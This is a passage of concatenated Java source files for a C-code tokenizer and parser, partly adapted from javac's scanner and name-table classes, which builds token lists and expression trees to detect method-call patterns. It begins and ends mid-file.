* <code>String.substring(beginIndex, endIndex)</code>.
* Unicode escape sequences are not translated.
*
* @param beginIndex the beginning index, inclusive.
* @param endIndex the ending index, exclusive.
* @throws IndexOutOfBounds if either offset is outside of the
* array bounds
*/
public char[] getRawCharacters(int beginIndex, int endIndex) {
int length = endIndex - beginIndex;
char[] chars = new char[length];
System.arraycopy(buf, beginIndex, chars, 0, length);
return chars;
}
public enum CommentStyle {
LINE,
BLOCK,
JAVADOC,
}
/**
* Called when a complete comment has been scanned. pos and endPos
* will mark the comment boundary.
*/
protected void processComment(CommentStyle style) {
if (scannerDebug)
System.out.println("processComment(" + pos
+ "," + endPos + "," + style + ")=|"
+ new String(getRawCharacters(pos, endPos))
+ "|");
}
/**
* Called when a complete whitespace run has been scanned. pos and endPos
* will mark the whitespace boundary.
*/
protected void processWhiteSpace() {
if (scannerDebug)
System.out.println("processWhitespace(" + pos
+ "," + endPos + ")=|" +
new String(getRawCharacters(pos, endPos))
+ "|");
}
/**
* Called when a line terminator has been processed.
*/
protected void processLineTerminator() {
if (scannerDebug)
System.out.println("processTerminator(" + pos
+ "," + endPos + ")=|" +
new String(getRawCharacters(pos, endPos))
+ "|");
}
/** Build a map for translating between line numbers and
* positions in the input.
*
* @return a LineMap */
// public Position.LineMap getLineMap() {
// return Position.makeLineMap(buf, buflen, false);
// }
}
| Java |
/*
* Copyright (c) 1999, 2009, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package detect.parse.tree.token;
/** An interface containing layout character constants used in Java
* programs.
*
* <p><b>This is NOT part of any supported API.
* If you write code that depends on this, you do so at your own risk.
* This code and its internal interfaces are subject to change or
* deletion without notice.</b>
*/
public interface LayoutCharacters {
/** Tabulator column increment.
*/
final static int TabInc = 8;
/** Standard indentation for subdiagnostics
*/
final static int DiagInc = 4;
/** Standard indentation for additional diagnostic lines
*/
final static int DetailsInc = 2;
/** Tabulator character.
*/
final static byte TAB = 0x9;
/** Line feed character.
*/
final static byte LF = 0xA;
/** Form feed character.
*/
final static byte FF = 0xC;
/** Carriage return character.
*/
final static byte CR = 0xD;
/** End of input character. Used as a sentinel to denote the
* character one beyond the last defined character in a
* source file.
*/
final static byte EOI = 0x1A;
}
| Java |
package detect.parse.tree.token;
import java.util.*;
public class TokenScanner {
static Scanner scanner=null;
public static TokenList getTokenList(PositionString psStr){
if(scanner==null){
scanner=new Scanner(psStr.str);
}
else{
scanner.reset(psStr.str);
}
List<Token> tokens=new ArrayList<Token>(200);
TokenType type=null;
String nameStr=null;
Token token=null;
int beginPos=-1;
while(true){
nameStr=null;
scanner.nextToken();
type=scanner.token();
if(type==TokenType.EOF){
break;
}
nameStr=type.typeStr;
beginPos=scanner.pos();
if(nameStr==null){
nameStr=scanner.getRawString();
}
token=new Token(nameStr,beginPos+psStr.beginPosition);
token.setTokenType(type);
tokens.add(token);
}
tokens=prettyTokenList(tokens);
return new TokenList(psStr,tokens);
}
private static List<Token> prettyTokenList(List<Token> originTokens){
ArrayList<Token> newTokens=new ArrayList<Token>(originTokens.size());
Token curToken=null;
Token preOrginToken=null;
Token preNewToken=null;
Token nextToken=null;
for(int i=0;i<originTokens.size();i++){
curToken=originTokens.get(i);
preOrginToken=(i>0)?originTokens.get(i-1):null;
preNewToken=(newTokens.size()>0)?newTokens.get(newTokens.size()-1):null;
nextToken=(i<originTokens.size()-1)?originTokens.get(i+1):null;
if(curToken.type==TokenType.STRUCT){
continue;
}
if(curToken.type==TokenType.STAR &&
preNewToken!=null &&
preNewToken.rawType==RawTokenType.TYPE){
continue;
}
if(curToken.type==TokenType.AMP){
if(preNewToken==null || preNewToken.rawType!=RawTokenType.IDENTIFIER){
continue;
}
}
if(curToken.rawType == RawTokenType.IDENTIFIER){
if(preOrginToken.type==TokenType.STRUCT){
curToken.setTokenType(TokenType.STRUCTLITERAL);
}
}
newTokens.add(curToken);
}
return newTokens;
}
}
| Java |
package detect.parse.tree.token;
import java.util.List;
public class Token extends PositionString {
// public static int UNKNOWN_TYPE=0;
// public static int NUMBER_TYPE=1;
// public static int NAME_TYPE=2;
// public static int TYPE_TYPE=3;
// public static int EQUAL_TYPE=4;
// public static int NON_EQUAL_TYPE=5;
// public static int LEFT_BRACE_TYPE=6;
// public static int RIGHT_BRACE_TYPE=7;
public static String[] reservedWords=new String[]{
"if",
"while",
"for",
"return",
"else",
};
public static RawTokenType[] reservedWordsType=new RawTokenType[]{
RawTokenType.IF,
RawTokenType.WHILE,
RawTokenType.FOR,
RawTokenType.RETURN,
RawTokenType.ELSE
};
public static String[] punctuations=new String[]{
",",
";",
"=",
"(",
")",
"{",
"}",
"[",
"]"
};
public static RawTokenType[] punctuationsType=new RawTokenType[]{
RawTokenType.COMMA,
RawTokenType.SEMI,
RawTokenType.EQ,
RawTokenType.LPAREN,
RawTokenType.RPAREN,
RawTokenType.LBRACE,
RawTokenType.RBRACE,
RawTokenType.LBRACKET,
RawTokenType.RBRACKET
};
public static char UNKNOWN_TYPE_CHAR='0';
public static char NUMBER_TYPE_CHAR='n';
public static char NAME_TYPE_CHAR='v';
public static char TYPE_TYPE_CHAR='t';
public static char EQUAL_TYPE_CHAR='=';
public static char NON_EQUAL_TYPE_CHAR='>';
public static char LEFT_BRACE_TYPE_CHAR='(';
public static char RIGHT_BRACE_TYPE_CHAR=')';
public TokenType type=TokenType.UNKNOWN;
public RawTokenType rawType=RawTokenType.UNKNOWN;
public Token(String _str, int _beginPosition) {
super(_str, _beginPosition);
// TODO Auto-generated constructor stub
}
public void setTokenType(TokenType _type){
type=_type;
rawType=type.rawType;
}
@Override
public String toString(){
return str;
}
}
| Java |
package detect.parse.tree.token;
import java.util.List;
import java.util.regex.*;
public class TokenList {
public PositionString psStr=null;
public List<Token> tokens=null;
public String tokensStr=null;
@Override
public String toString(){
return psStr.str;
}
public TokenList(PositionString _rawStr,List<Token> _tokens){
psStr=_rawStr;
tokens=_tokens;
char[] typeChars=new char[tokens.size()];
for(int i=0;i<tokens.size();i++){
typeChars[i]=tokens.get(i).rawType.typeChar;
}
tokensStr=new String(typeChars);
}
public TokenList subList(int fromTokenIndex,int toTokenIndex){
int fromStrIndex=tokens.get(fromTokenIndex).beginPosition;
Token endToken=tokens.get(toTokenIndex-1);
int toStrIndex=endToken.beginPosition+endToken.str.length();
return new TokenList(psStr.subRelatedString(fromStrIndex-psStr.beginPosition,toStrIndex-psStr.beginPosition),
tokens.subList(fromTokenIndex, toTokenIndex));
}
public TokenList subList(int fromTokenIndex){
return subList(fromTokenIndex,tokens.size());
}
public int size(){
return tokens.size();
}
public Token get(int index){
return tokens.get(index);
}
public Token getLast(){
return tokens.get(tokens.size()-1);
}
public boolean contains(RawTokenType type){
return tokensStr.contains(type.typeChar+"");
}
public int indexOf(RawTokenType type){
return indexOf(type,0);
}
public int indexOf(RawTokenType type,int fromIndex){
return tokensStr.indexOf(type.typeChar,fromIndex);
}
public int indexOf(String regex,int fromIndex){
return tokensStr.indexOf(regex,fromIndex);
}
public int findMatchRightBrace(int leftBraceIndex,RawTokenType leftBraceType,RawTokenType rightBraceType){
int leftBraceCount=1;
for(int i=leftBraceIndex+1;i<tokensStr.length();i++){
RawTokenType type=tokens.get(i).rawType;
if(type==leftBraceType){
leftBraceCount++;
}
else if(type==rightBraceType){
leftBraceCount--;
if(leftBraceCount==0){
return i;
}
}
}
return -1;
}
public int lastIndexOf(RawTokenType type){
return lastIndexOf(type,0);
}
public int lastIndexOf(RawTokenType type,int fromIndex){
return tokensStr.lastIndexOf(type.typeChar,fromIndex);
}
public TokenList matchOnce(String regex,int fromIndex,int groupId){
Pattern p=Pattern.compile(regex);
Matcher m=p.matcher(tokensStr);
if(m.find()){
int start=m.start(groupId);
int end=m.end(groupId);
return this.subList(start, end);
}
return null;
}
}
| Java |
package detect.parse.tree.token;
import java.util.*;
public class Keywords {
static Keywords instance = null;
HashMap<String,TokenType> map=new HashMap<String,TokenType>();
public static Keywords instance(){
if (instance == null) {
instance = new Keywords();
//context.put(namesKey, instance);
}
return instance;
}
protected Keywords(){
Class<TokenType> tokenClass=TokenType.class;
TokenType[] tokens=tokenClass.getEnumConstants();
for(int i=0;i<tokens.length;i++){
if(tokens[i].typeStr!=null){
map.put(tokens[i].typeStr, tokens[i]);
}
}
}
public TokenType key(Name name){
TokenType token=map.get(name.nameStr);
if(token!=null){
return token;
}
return TokenType.IDENTIFIER;
}
}
| Java |
/*
* Copyright (c) 1999, 2008, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package detect.parse.tree.token;
/**
* Access to the compiler's name table. STandard names are defined,
* as well as methods to create new names.
*
* <p><b>This is NOT part of any supported API.
* If you write code that depends on this, you do so at your own risk.
* This code and its internal interfaces are subject to change or
* deletion without notice.</b>
*/
public class Names {
//public static final Context.Key<Names> namesKey = new Context.Key<Names>();
//public static Names instance(Context context) {
static Names instance = null;
public static Names instance(){
if (instance == null) {
instance = new Names();
//context.put(namesKey, instance);
}
return instance;
}
public final Name slash;
public final Name hyphen;
public final Name T;
public final Name slashequals;
public final Name deprecated;
public final Name init;
public final Name clinit;
public final Name error;
public final Name any;
public final Name empty;
public final Name one;
public final Name period;
public final Name comma;
public final Name semicolon;
public final Name asterisk;
public final Name _this;
public final Name _super;
public final Name _default;
public final Name _class;
public final Name java_lang;
public final Name java_lang_Object;
public final Name java_lang_Class;
public final Name java_lang_Cloneable;
public final Name java_io_Serializable;
public final Name serialVersionUID;
public final Name java_lang_Enum;
public final Name java_dyn_MethodHandle;
public final Name java_dyn_InvokeDynamic;
public final Name package_info;
public final Name ConstantValue;
public final Name LineNumberTable;
public final Name LocalVariableTable;
public final Name LocalVariableTypeTable;
public final Name CharacterRangeTable;
public final Name StackMap;
public final Name StackMapTable;
public final Name SourceID;
public final Name CompilationID;
public final Name Code;
public final Name Exceptions;
public final Name SourceFile;
public final Name InnerClasses;
public final Name Synthetic;
public final Name Bridge;
public final Name Deprecated;
public final Name Enum;
public final Name _name;
public final Name Signature;
public final Name Varargs;
public final Name Annotation;
public final Name RuntimeVisibleAnnotations;
public final Name RuntimeInvisibleAnnotations;
public final Name RuntimeVisibleTypeAnnotations;
public final Name RuntimeInvisibleTypeAnnotations;
public final Name RuntimeVisibleParameterAnnotations;
public final Name RuntimeInvisibleParameterAnnotations;
public final Name Value;
public final Name EnclosingMethod;
public final Name desiredAssertionStatus;
public final Name append;
public final Name family;
public final Name forName;
public final Name toString;
public final Name length;
public final Name valueOf;
public final Name value;
public final Name getMessage;
public final Name getClass;
public final Name invoke; //allowTransitionalJSR292 only
public final Name TYPE;
public final Name TYPE_USE;
public final Name TYPE_PARAMETER;
public final Name FIELD;
public final Name METHOD;
public final Name PARAMETER;
public final Name CONSTRUCTOR;
public final Name LOCAL_VARIABLE;
public final Name ANNOTATION_TYPE;
public final Name PACKAGE;
public final Name SOURCE;
public final Name CLASS;
public final Name RUNTIME;
public final Name Array;
public final Name Method;
public final Name Bound;
public final Name clone;
public final Name getComponentType;
public final Name getClassLoader;
public final Name initCause;
public final Name values;
public final Name iterator;
public final Name hasNext;
public final Name next;
public final Name AnnotationDefault;
public final Name ordinal;
public final Name equals;
public final Name hashCode;
public final Name compareTo;
public final Name getDeclaringClass;
public final Name ex;
public final Name finalize;
public final Name java_lang_AutoCloseable;
public final Name close;
//public final Name.Table table;
public Name.Table table;
//public Names(Context context) {
//Options options = Options.instance(context);
//table = createTable(options);
public Names(){
slash = fromString("/");
hyphen = fromString("-");
T = fromString("T");
slashequals = fromString("/=");
deprecated = fromString("deprecated");
init = fromString("<init>");
clinit = fromString("<clinit>");
error = fromString("<error>");
any = fromString("<any>");
empty = fromString("");
one = fromString("1");
period = fromString(".");
comma = fromString(",");
semicolon = fromString(";");
asterisk = fromString("*");
_this = fromString("this");
_super = fromString("super");
_default = fromString("default");
_class = fromString("class");
java_lang = fromString("java.lang");
java_lang_Object = fromString("java.lang.Object");
java_lang_Class = fromString("java.lang.Class");
java_lang_Cloneable = fromString("java.lang.Cloneable");
java_io_Serializable = fromString("java.io.Serializable");
java_lang_Enum = fromString("java.lang.Enum");
java_dyn_MethodHandle = fromString("java.dyn.MethodHandle");
java_dyn_InvokeDynamic = fromString("java.dyn.InvokeDynamic");
package_info = fromString("package-info");
serialVersionUID = fromString("serialVersionUID");
ConstantValue = fromString("ConstantValue");
LineNumberTable = fromString("LineNumberTable");
LocalVariableTable = fromString("LocalVariableTable");
LocalVariableTypeTable = fromString("LocalVariableTypeTable");
CharacterRangeTable = fromString("CharacterRangeTable");
StackMap = fromString("StackMap");
StackMapTable = fromString("StackMapTable");
SourceID = fromString("SourceID");
CompilationID = fromString("CompilationID");
Code = fromString("Code");
Exceptions = fromString("Exceptions");
SourceFile = fromString("SourceFile");
InnerClasses = fromString("InnerClasses");
Synthetic = fromString("Synthetic");
Bridge = fromString("Bridge");
Deprecated = fromString("Deprecated");
Enum = fromString("Enum");
_name = fromString("name");
Signature = fromString("Signature");
Varargs = fromString("Varargs");
Annotation = fromString("Annotation");
RuntimeVisibleAnnotations = fromString("RuntimeVisibleAnnotations");
RuntimeInvisibleAnnotations = fromString("RuntimeInvisibleAnnotations");
RuntimeVisibleTypeAnnotations = fromString("RuntimeVisibleTypeAnnotations");
RuntimeInvisibleTypeAnnotations = fromString("RuntimeInvisibleTypeAnnotations");
RuntimeVisibleParameterAnnotations = fromString("RuntimeVisibleParameterAnnotations");
RuntimeInvisibleParameterAnnotations = fromString("RuntimeInvisibleParameterAnnotations");
Value = fromString("Value");
EnclosingMethod = fromString("EnclosingMethod");
desiredAssertionStatus = fromString("desiredAssertionStatus");
append = fromString("append");
family = fromString("family");
forName = fromString("forName");
toString = fromString("toString");
length = fromString("length");
valueOf = fromString("valueOf");
value = fromString("value");
getMessage = fromString("getMessage");
getClass = fromString("getClass");
invoke = fromString("invoke"); //allowTransitionalJSR292 only
TYPE = fromString("TYPE");
TYPE_USE = fromString("TYPE_USE");
TYPE_PARAMETER = fromString("TYPE_PARAMETER");
FIELD = fromString("FIELD");
METHOD = fromString("METHOD");
PARAMETER = fromString("PARAMETER");
CONSTRUCTOR = fromString("CONSTRUCTOR");
LOCAL_VARIABLE = fromString("LOCAL_VARIABLE");
ANNOTATION_TYPE = fromString("ANNOTATION_TYPE");
PACKAGE = fromString("PACKAGE");
SOURCE = fromString("SOURCE");
CLASS = fromString("CLASS");
RUNTIME = fromString("RUNTIME");
Array = fromString("Array");
Method = fromString("Method");
Bound = fromString("Bound");
clone = fromString("clone");
getComponentType = fromString("getComponentType");
getClassLoader = fromString("getClassLoader");
initCause = fromString("initCause");
values = fromString("values");
iterator = fromString("iterator");
hasNext = fromString("hasNext");
next = fromString("next");
AnnotationDefault = fromString("AnnotationDefault");
ordinal = fromString("ordinal");
equals = fromString("equals");
hashCode = fromString("hashCode");
compareTo = fromString("compareTo");
getDeclaringClass = fromString("getDeclaringClass");
ex = fromString("ex");
finalize = fromString("finalize");
java_lang_AutoCloseable = fromString("java.lang.AutoCloseable");
close = fromString("close");
}
// protected Name.Table createTable(Options options) {
// boolean useUnsharedTable = options.get("useUnsharedTable") != null;
// if (useUnsharedTable)
// return new UnsharedNameTable(this);
// else
// return new SharedNameTable(this);
// }
public void dispose() {
table.dispose();
}
public Name fromChars(char[] cs, int start, int len) {
//return table.fromChars(cs, start, len);
return new Name(new String(cs,start,len));
}
public Name fromString(String s) {
//return table.fromString(s);
return new Name(s);
}
// public Name fromUtf(byte[] cs) {
// return table.fromUtf(cs);
// }
// public Name fromUtf(byte[] cs, int start, int len) {
// return table.fromUtf(cs, start, len);
// }
}
| Java |
package detect.parse.tree.token;
import java.util.*;
import util.FileManager;
public class SimpleTokenScanner {
static HashMap<String,RawTokenType> rewordsMap=new HashMap<String,RawTokenType>();
static HashMap<String,RawTokenType> puncsMap=new HashMap<String,RawTokenType>();
public static void main(String[] args){
String filePath="d:\\test.cpp";
String str=FileManager.readStringFromFile(filePath);
TokenList tokenList=getTokenList(new PositionString(str,0));
}
public static TokenList getTokenList(PositionString psStr){
List<Token> tokens=new ArrayList<Token>();
String str=psStr.str;
int pos=0;
while(pos<str.length()){
while(isBlank(str.charAt(pos))){
pos++;
}
int cursor=pos;
char curChar='0';
while(true){
curChar = str.charAt(cursor);
if(!isLetter(curChar)){
break;
}
cursor++;
if(cursor>=str.length()){
break;
}
}
Token t=null;
if(pos==cursor){
t=new Token(str.substring(pos,cursor+1),pos);
pos++;
}
else{
t=new Token(str.substring(pos,cursor),pos);
pos=cursor;
}
tokens.add(t);
//System.out.println(t);
}
TokenList tokenList=attributeTokenList(psStr,tokens);
return tokenList;
}
public static TokenList attributeTokenList(PositionString psStr,List<Token> tokens){
initTokenMap();
List<Token> atrTokenList=new ArrayList<Token>(tokens.size());
for(int i=0;i<tokens.size();i++){
Token curToken=tokens.get(i);
if(isLetter(curToken.str.charAt(0))){
RawTokenType type=rewordsMap.get(curToken.str);
if(type!=null){
curToken.rawType=type;
}
else{
Token preToken=tokens.get(i-1);
if(i>0 && preToken.rawType==RawTokenType.IDENTIFIER){
preToken.rawType=RawTokenType.TYPE;
curToken.rawType=RawTokenType.IDENTIFIER;
}
else{
curToken.rawType=RawTokenType.IDENTIFIER;
}
}
}
else{
RawTokenType type=puncsMap.get(curToken.str);
if(type!=null){
curToken.rawType=type;
}
else{
curToken.rawType=RawTokenType.NEQ;
}
}
atrTokenList.add(curToken);
}
return new TokenList(psStr,atrTokenList);
}
public static void initTokenMap(){
for(int i=0;i<Token.reservedWords.length;i++){
rewordsMap.put(Token.reservedWords[i],Token.reservedWordsType[i]);
}
for(int i=0;i<Token.punctuations.length;i++){
puncsMap.put(Token.punctuations[i],Token.punctuationsType[i]);
}
}
public static boolean isLetter(char ch){
if((ch>='a' && ch<='z') ||
(ch>='A' && ch<='Z')){
return true;
}
return false;
}
public static boolean isBlank(char ch){
if(ch==' ' || ch=='\t' ||
ch=='\n' || ch=='\r'){
return true;
}
return false;
}
}
| Java |
package detect.parse.tree.token;
public class PositionString {
public String str="";
public int beginPosition=0;
public int length(){
return str.length();
}
public PositionString(String _str,int _beginPosition){
str=_str;
beginPosition=_beginPosition;
}
public PositionString subRelatedString(int fromIndex,int toIndex){
return new PositionString(str.substring(fromIndex,toIndex),
beginPosition+fromIndex);
}
public PositionString subAbsoluteString(int fromIndex,int toIndex){
return new PositionString(str.substring(fromIndex,toIndex),
beginPosition+fromIndex);
}
@Override
public String toString(){
return str;
}
@Override
public boolean equals(Object obj){
if(obj instanceof PositionString){
PositionString psStr=(PositionString)obj;
return psStr.str.equals(psStr.str);
}
return false;
}
}
| Java |
/*
* Copyright (c) 1999, 2008, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package detect.parse.tree.token;
/** An abstraction for internal compiler strings. They are stored in
* Utf8 format. Names are stored in a Name.Table, and are unique within
* that table.
*
* <p><b>This is NOT part of any supported API.
* If you write code that depends on this, you do so at your own risk.
* This code and its internal interfaces are subject to change or
* deletion without notice.</b>
*/
public class Name implements javax.lang.model.element.Name {
public String nameStr=null;
public Name(String _nameStr){
nameStr=_nameStr;
}
//public final Table table;
// protected Name(Table table) {
// this.table = table;
// }
/**
* @inheritDoc
*/
public boolean contentEquals(CharSequence cs) {
return toString().equals(cs.toString());
}
/**
* @inheritDoc
*/
public int length() {
return toString().length();
}
/**
* @inheritDoc
*/
public char charAt(int index) {
return toString().charAt(index);
}
/**
* @inheritDoc
*/
public CharSequence subSequence(int start, int end) {
return toString().subSequence(start, end);
}
/** Return the concatenation of this name and name `n'.
*/
// public Name append(Name n) {
// int len = getByteLength();
// byte[] bs = new byte[len + n.getByteLength()];
// getBytes(bs, 0);
// n.getBytes(bs, len);
// return table.fromUtf(bs, 0, bs.length);
// }
/** Return the concatenation of this name, the given ASCII
* character, and name `n'.
*/
// public Name append(char c, Name n) {
// int len = getByteLength();
// byte[] bs = new byte[len + 1 + n.getByteLength()];
// getBytes(bs, 0);
// bs[len] = (byte) c;
// n.getBytes(bs, len+1);
// return table.fromUtf(bs, 0, bs.length);
// }
/** An arbitrary but consistent complete order among all Names.
*/
// public int compareTo(Name other) {
// return other.getIndex() - this.getIndex();
// }
//
// /** Return true if this is the empty name.
// */
// public boolean isEmpty() {
// return getByteLength() == 0;
// }
//
// /** Returns last occurrence of byte b in this name, -1 if not found.
// */
// public int lastIndexOf(byte b) {
// byte[] bytes = getByteArray();
// int offset = getByteOffset();
// int i = getByteLength() - 1;
// while (i >= 0 && bytes[offset + i] != b) i--;
// return i;
// }
/** Does this name start with prefix?
*/
// public boolean startsWith(Name prefix) {
// byte[] thisBytes = this.getByteArray();
// int thisOffset = this.getByteOffset();
// int thisLength = this.getByteLength();
// byte[] prefixBytes = prefix.getByteArray();
// int prefixOffset = prefix.getByteOffset();
// int prefixLength = prefix.getByteLength();
//
// int i = 0;
// while (i < prefixLength &&
// i < thisLength &&
// thisBytes[thisOffset + i] == prefixBytes[prefixOffset + i])
// i++;
// return i == prefixLength;
// }
/** Returns the sub-name starting at position start, up to and
* excluding position end.
*/
// public Name subName(int start, int end) {
// if (end < start) end = start;
// return table.fromUtf(getByteArray(), getByteOffset() + start, end - start);
// }
/** Return the string representation of this name.
*/
public String toString() {
//return Convert.utf2string(getByteArray(), getByteOffset(), getByteLength());
return nameStr;
}
/** Return the Utf8 representation of this name.
*/
// public byte[] toUtf() {
// byte[] bs = new byte[getByteLength()];
// getBytes(bs, 0);
// return bs;
// }
/* Get a "reasonably small" value that uniquely identifies this name
* within its name table.
*/
// public abstract int getIndex();
//
// /** Get the length (in bytes) of this name.
// */
// public abstract int getByteLength();
//
// /** Returns i'th byte of this name.
// */
// public abstract byte getByteAt(int i);
/** Copy all bytes of this name to buffer cs, starting at start.
*/
// public void getBytes(byte cs[], int start) {
// System.arraycopy(getByteArray(), getByteOffset(), cs, start, getByteLength());
// }
/** Get the underlying byte array for this name. The contents of the
* array must not be modified.
*/
// public abstract byte[] getByteArray();
//
// /** Get the start offset of this name within its byte array.
// */
// public abstract int getByteOffset();
/** An abstraction for the hash table used to create unique Name instances.
*/
public static abstract class Table {
/** Standard name table.
*/
public final Names names;
Table(Names names) {
this.names = names;
}
/** Get the name from the characters in cs[start..start+len-1].
*/
public abstract Name fromChars(char[] cs, int start, int len);
/** Get the name for the characters in string s.
*/
public Name fromString(String s) {
char[] cs = s.toCharArray();
return fromChars(cs, 0, cs.length);
}
/** Get the name for the bytes in array cs.
* Assume that bytes are in utf8 format.
*/
public Name fromUtf(byte[] cs) {
return fromUtf(cs, 0, cs.length);
}
/** get the name for the bytes in cs[start..start+len-1].
* Assume that bytes are in utf8 format.
*/
public abstract Name fromUtf(byte[] cs, int start, int len);
/** Release any resources used by this table.
*/
public abstract void dispose();
/** The hashcode of a name.
*/
protected static int hashValue(byte bytes[], int offset, int length) {
int h = 0;
int off = offset;
for (int i = 0; i < length; i++) {
h = (h << 5) - h + bytes[off++];
}
return h;
}
/** Compare two subarrays
*/
protected static boolean equals(byte[] bytes1, int offset1,
byte[] bytes2, int offset2, int length) {
int i = 0;
while (i < length && bytes1[offset1 + i] == bytes2[offset2 + i]) {
i++;
}
return i == length;
}
}
}
| Java |
package detect.parse.tree;
import java.util.ArrayList;
import data.MethodsConstraints;
import detect.Log;
import detect.parse.tree.token.TokenList;
public class PlainExpression extends Expression{
public TreeType getType(){
return TreeType.PlainType;
}
@Override
public void findInnerPatterns(){
}
public PlainExpression(TokenList _tokenList){
// Log.incIndence();
// Log.printTree(this.getType().toString());
tokenList=_tokenList;
// Log.decIndence();
}
}
| Java |
package detect.parse.tree;
import java.util.*;
import detect.parse.pattern.MethodsPattern;
import detect.parse.tree.token.*;
public class FunctionDeclareExpression extends Expression{
public TokenList funBody=null;
public Token funName=null;
public Token returnType=null;
public TokenList args=null;
@Override
public String toString(){
StringBuilder sb=new StringBuilder();
if(returnType!=null){
sb.append(returnType.toString());
sb.append(" ");
}
sb.append(funName.toString());
sb.append("(");
sb.append(args.toString());
sb.append("){...}");
return sb.toString();
}
HashMap<MethodsPattern,MethodsPattern> patternMap=new HashMap<MethodsPattern,MethodsPattern>();
public BlockExpression body=null;
public TreeType getType(){
return TreeType.FunctionDeclareType;
}
@Override
public void findInnerPatterns(){
body.findInnerPatterns();
patterns=body.patterns;
MethodsPattern temp=new MethodsPattern(null,null,MethodsPattern.SEQUENCE_CALL);
for(MethodsPattern p: patterns){
patternMap.put(p,p);
}
Set<Map.Entry<String, List<FunctionCallExpression>>> returnVarEntrySet=FunctionCallManager.returnVarEntrySet();
for(Map.Entry<String, List<FunctionCallExpression>> returnVarEntry : returnVarEntrySet){
String returnVar=returnVarEntry.getKey();
List<FunctionCallExpression> returnFunList=returnVarEntry.getValue();
HashMap<FunctionCallExpression,Integer> argFunMap=FunctionCallManager.getArgFunctionMap(returnVar);
for(FunctionCallExpression returnFun: returnFunList){
for(Map.Entry<FunctionCallExpression,Integer> argFunEntry: argFunMap.entrySet()){
FunctionCallExpression argFun=argFunEntry.getKey();
Integer argPos=argFunEntry.getValue();
if(isFunctionCallSequence(returnFun,argFun)){
temp.left_fun_exp=returnFun;
temp.right_fun_exp=argFun;
MethodsPattern p=patternMap.get(temp);
if(p==null){
p=new MethodsPattern(returnFun,argFun,MethodsPattern.RETURN_VAR);
patternMap.put(p, p);
}
p.setReturnArgPos(argPos);
}
}
}
}
patterns.clear();
patterns.addAll(patternMap.keySet());
}
public boolean isFunctionCallSequence(FunctionCallExpression left,FunctionCallExpression right){
if( (left.begionPosition()<right.begionPosition() &&
left.begionPosition()+left.length() < right.begionPosition())
||
(left.begionPosition()>right.begionPosition() &&
left.begionPosition()+left.length() < right.begionPosition()+right.length())){
return true;
}
return false;
}
public FunctionDeclareExpression(TokenList _tokenList,Token _funName,Token _returnType,TokenList _args,TokenList _funBody){
tokenList=_tokenList;
funName=_funName;
returnType=_returnType;
funBody=_funBody;
args=_args;
}
public void parseDetail(){
body=(BlockExpression)ExpressionFactory.blockExpInstance.getExpression(funBody);
}
}
| Java |
package detect.parse.tree;
import java.util.*;
import detect.Log;
import detect.parse.tree.token.PositionString;
import detect.parse.tree.token.RawTokenType;
import detect.parse.tree.token.TokenList;
import detect.parse.tree.token.RawTokenType;
public class ConditionExpression extends Expression {
public List<Expression> subCondExpList=null;
public TreeType getType(){
return TreeType.ConditionType;
}
public ConditionExpression(){
}
public ConditionExpression(TokenList _tokenList,List<Expression> _subCondExpList){
tokenList=_tokenList;
subCondExpList=_subCondExpList;
}
@Override
public List<FunctionCallExpression> getSubFunctionCallExpressionList(){
List<FunctionCallExpression> subFunCallList=new ArrayList<FunctionCallExpression>(subCondExpList.size());
for(Expression exp: subCondExpList){
if(exp.getType()==TreeType.FunctionCallType){
FunctionCallManager.putFunction(exp);
subFunCallList.add((FunctionCallExpression)exp);
}
}
return subFunCallList;
}
@Override
public void findInnerPatterns(){
for(Expression subCondExp: subCondExpList){
subCondExp.findInnerPatterns();
patterns.addAll(subCondExp.patterns);
}
}
@Override
public Expression getExpression(TokenList _tokenList){//(f(g(a,b),c) && k(a)) || d)
tokenList= _tokenList;
Log.incIndence();
Log.printTree(this.getType().toString());
int funCallStartIndex=-1;
int rightBraceIndex=-1;
